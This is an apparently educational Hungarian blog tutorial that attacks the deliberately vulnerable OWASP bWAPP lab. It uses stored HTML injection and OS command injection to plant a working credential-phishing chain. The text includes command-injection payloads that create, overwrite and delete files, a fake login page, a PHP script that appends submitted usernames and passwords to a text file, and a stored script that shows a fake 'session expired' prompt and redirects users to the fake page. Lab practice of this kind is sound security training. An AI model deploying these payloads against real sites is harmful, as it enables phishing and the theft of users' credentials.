Napi hackelés

Napi hackelés

HTML és OS Injection az első "támadás"

2021. január 13. - c3llenger

Első körben kezdjünk valami egyszerűvel, viszont mélyedjünk el benne annyira, hogy legyen elképzelésünk hogy mennyire mély lehet a nyúl ürege.
"Áldozatunk" az OWASP bWAPP-ja lesz, ami egy direkt gyakorlásra kitalált hibáktól hemzsegő kis gyűjtemény.
https://sourceforge.net/projects/owaspbwa/ (innen le tudjátok szedni)

Az én platformom Kali Linux, de jelen esetben ez nem számít, a bwappnak pedig a következő oldalait fogjuk használni:
bWAPP/htmli_stored.php
bWAPP/commandi.php
bWAPP/commandi_blind.php
Mindegyiket "low" security szinten.

Ezekre ha rákerestek neten, vagy youtube-on millió videó van arról hogy hogyan lehet felfedezni a sebezhetőségüket. Ez nyilván fontos rész, de sok esetben nem mutatják be azt, hogy mennyire veszélyes lehet ezeket a sérülékenységeket félvállról venni, illetve hogyan kell ezeket kihasználni.

Mi most túlmegyünk azon hogy felfedezzük a hibát, vagy hogy elszórakozzunk azzal hogy a kommentjeinket más formában látjuk vissza az oldalon. Mi ki is fogjuk ezeket a sérülékenységeket használni. Bár nagyon vagánynak tűnhet amit csinálunk majd, de azt fontos tudni hogy ez low biztonsági szint ellen megy, és bár technikailag érdekes és működő képes a támadásunk, de a valóságban mint összességet nézve már nem biztos hogy megvalósítható. De mivel oktató jellegű a blog, ezért szemeket felnyitni, és gondolkodásra késztetni tökéletes. Élesben nem próbálgatni, csomó virtuális gép van erre a célra!

Kezdjük is azzal, hogy a fent említett oldalak egyáltalán sebezhetőek-e!

bWAPP/htmli_stored.php
Ez egy sima form, beirsz valamit a szövegmezőbe, majd alul egy táblázatban kiírja az így bevitt megjegyzéseket.
Teljesen egyszerű. Teszteljük:
<b>proba</b> - alul félkövérként jelenik meg, MŰKÖDIK
<script>alert("teszt")</script> - felugrik a kis ablak teszt üzenettel, MŰKÖDIK


bWAPP/commandi.php
Ez sem egy túl bonyolult oldal. Az input mezőbe beírt oldalról ad vissza adatokat. Érdekes, de minket jobban érdekel hogy mit csinál ha beírjuk azt a parancsot hogy  ls. Ennek a formája a következő: kitöröltök mindent a mezőből majd beirjátok hogy: ;ls    MŰKÖDIK. Megy a listázás. Ez félsiker. Szóval listázzni tudunk, akkor tegyünk is bele valamit ;) ;echo ez egy proba uzenet > a1.txt     
Kétféleképp tudjuk leellenőrizni hogy sikerült-e:
a. ;ls     -> a listában megtaláljuk az a1.txt-t
b. /bWAPP/a1.txt    -> ezt beillesztve a böngészőbe meg tudjuk nézni annak tartalmát
Természetesen nem csak txt fájlokat írhatunk hanem .php, .html-t is. Így a szerveren tudunk létrehozni saját fileokat, anélkül hogy fel lehetne tölteni.

bWAPP/commandi_blind.php
Ez nagyon hasonló mint az előző, de itt az előbb használt ;ls parancs már nem ad eredményt. Nem baj. Vannak tesztek ahol bár konkrét választ nem kapunk, de a válasz idejéből következtethetünk arra hogy az történik-e ami nekünk kell, vagy az eredményt máshol tudjuk megnézni. Mi most az utóbbit használjuk.
; echo test > a1.txt     majd nézzük meg a txt fileunk tartalmát a böngészőben ahogy az előbb. Azt írja hogy "test", szóval működik.  Ebből kiderül hogy már létező fájlt, át tudunk írni. Hajaj... Támadásunk során ezt az oldalt nem használjuk mivel ugyazaz megvalósítható általa mint a párjával, de a tesztelését megnéztük ha már itt vagyunk.

Kezdjünk tisztalappal mindent, mejünk vissza a htmli stored blog oldalra, majd simán az eredetileg is megtalálható lehetőségekkel töröljük ki a megjegyzéseket.
Ez sima.

Az a1.txt-től is meg kellene szabadulni, nem mintha zavarna, de ha sikerül az elég bizar, hogy nem csak új fájlokat tudunk létrehozzni, átírni,  hanem törölni is...

Használjuk a sima  os command injection oldalt:
;rm a1.txt     ezt elküldve ha frissítjük a /bWAPP/a1.txt a böngészőben akkor 404 not foundot kapunk. SIKER!

Összegezve hogy mit is tudunk csinálni ezzel a 3 oldallal:
tudunk beileszteni html és javascript kódokat, amik le is futnak
tudunk létrehozni és törölni oldalakat, illetve fájlokat
felülírni is tudjuk azokat

Saját magunkból kiindulva tudjuk, hogy ha egy oldal nevében kapunk egy emailt ami arra kér minket hogy változtassuk meg a jelszavunkat, az már gyanús, de az még gyanúsabb ha a csatolt link egy olyan oldalra vezet ami csak részben vagy abszolut nem hasonlít az eredeti oldal címére, illetve ha a link rövidített és nem is látjuk hogy hova irányít minket. Ha az eredeti oldal cime www.napihackeles.hu, de a kapott link www.napihackeles.xy.hu az kérdéseket vet fel.
Viszont,
ha az történik hogy böngészés közben kapunk egy üzenetet hibaként, hogy "a munkamenet lejárt, kérjük lépjen be ujra", majd ezt leokézva átkerülünk a belépő oldalra, ami a www.napihackeles.hu/abelepes.hu-n van, az már annyira nem feltűnő. Mi belépünk újra, és használjuk tovább az oldalt. Mintha semmi nem történt volna.

Mi ezt fogjuk most megvalósítani: kicsaljuk a belépési adatokat!

A támadás a következő képp fog zajlani:
1. lépésben a felhasználó odatéved a html injection stored blog oldalra, ahova mi elhelyezünk egy scriptet ami automatikus lefut, és annyit csinál hogy felugró ablakban közli hogy lejárt a munkamenet ezért be kellene lépni újra az oldalra. Ezután átdobjuk egy általunk, az OS command injection oldalon keresztül létrehozott oldalra, ahol megadja a belépéshez szükséges adatait. Amikor belép, mindent amit beírt továbbítunk egy txt fájlba amit szintén mi hoztunk létre. Így a kódunkba nem kell megadni külső oldalt ahol meg tudjuk nézni az így elszedett belépési  adatokat.

Lássunk hozzá:
1
csináljuk meg a jelszavak.txt -t
bWAPP/commandi_blind.php   -> ;echo jelszavak: > jelszavak.txt

2
ezután itt csináljuk meg a belépő oldalt, amire átirányítjuk a felhasználót: 
;echo '<html>
<title>Login</title>
<body>
<center>
<h1>Kerjuk jelentkezz be</h1>
</center><br>
<center>
<form action="/bWAPP/abc2.php" method="POST">
<label>Azonosito</label><br>
<input type="text" name="azonosito"></input><br>
<label>Jelszo</label><br>
<input type="text" name="jelszo"></input><br>
<input type="submit" value="Belepek"></input>
</from>
</center>
</body>
</html>' > abelepes.php


3
csinaljuk meg az abc2.php-t ami fogadja a fake belépőoldalról az adatokat, majd a már létrehozott txt-be beirja azokat és visszaugrik a kezdő oldalra
;echo "<?php echo \$_POST['azonosito']; echo \$_POST['jelszo']; \$myfile = fopen('jelszavak.txt', 'a'); fwrite(\$myfile, '\n'. \$_POST['azonosito']); fwrite(\$myfile, '\n'. \$_POST['jelszo']); fclose(\$myfile); header('Location: /bWAPP/portal.php');?>" > abc2.php
FONTOS: a gyakorlott php-s szemek gondolom kiszúrták a $ jel előtt per jelet. Ha ezt ebben a formában nem használjuk nem lesz felismerhető a gépnek a $ jel.

4
tegyük be a htmli injection stored blogba, azt a kis kódrészletet ami feldobja a felhasználónak a lejárt munkamenetről az értesítést:

Nagyon jo az oldal srcok, igy tovabb!!
<script>
myFunction();
function myFunction() {
var txt;
if (confirm("Lejárt munkamenet, kérjük jelentkezzen be újra")) {
txt = "Bejelentkezés"; window.location.replace("http://192.168.100.5/bWAPP/abelepes.php");
} else {
txt = "Vissza";
}
document.getElementById("demo").innerHTML = txt;
window.location.replace("http://192.168.100.5/bWAPP/aelepes.php");
}
</script>

5
Kész is művünk. Mi is fog történni?
A felhasználó amint a html injection - stored blog oldalra téved, kap egy felugró ablakot arról hogy a munkamenet lejárt és be kell lépnie. Ha rányom a Bejelentkezésre, akkor átirányitja az oldal a /bWAPP/abelepes.php-ra, - amit mi most ugyan nagyon szegényes kinézettel csináltunk meg, de simán lemásolhatjuk az eredeti belépő oldalt is - ahol begépelve a a belépési adatokat, azt továbbítjuk az abc2.php-nak ami rögtön kiirja azokat a jelszavak.txt-be, majd atirányitja a felhasználót valamelyik másik oldalra.

Mint az elején írtam ha egy oldal sebezhető, akkor ezek technikailag megvalósíthatóak, de hogy az életben mennyire működőképes az már kérdéses. Mindenesetre tanúlságos. Próbálgassátok, ha elakadtok írjatok!

c3llenger


 

 

 

A bejegyzés trackback címe:

https://napihack.blog.hu/api/trackback/id/tr6616386808

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása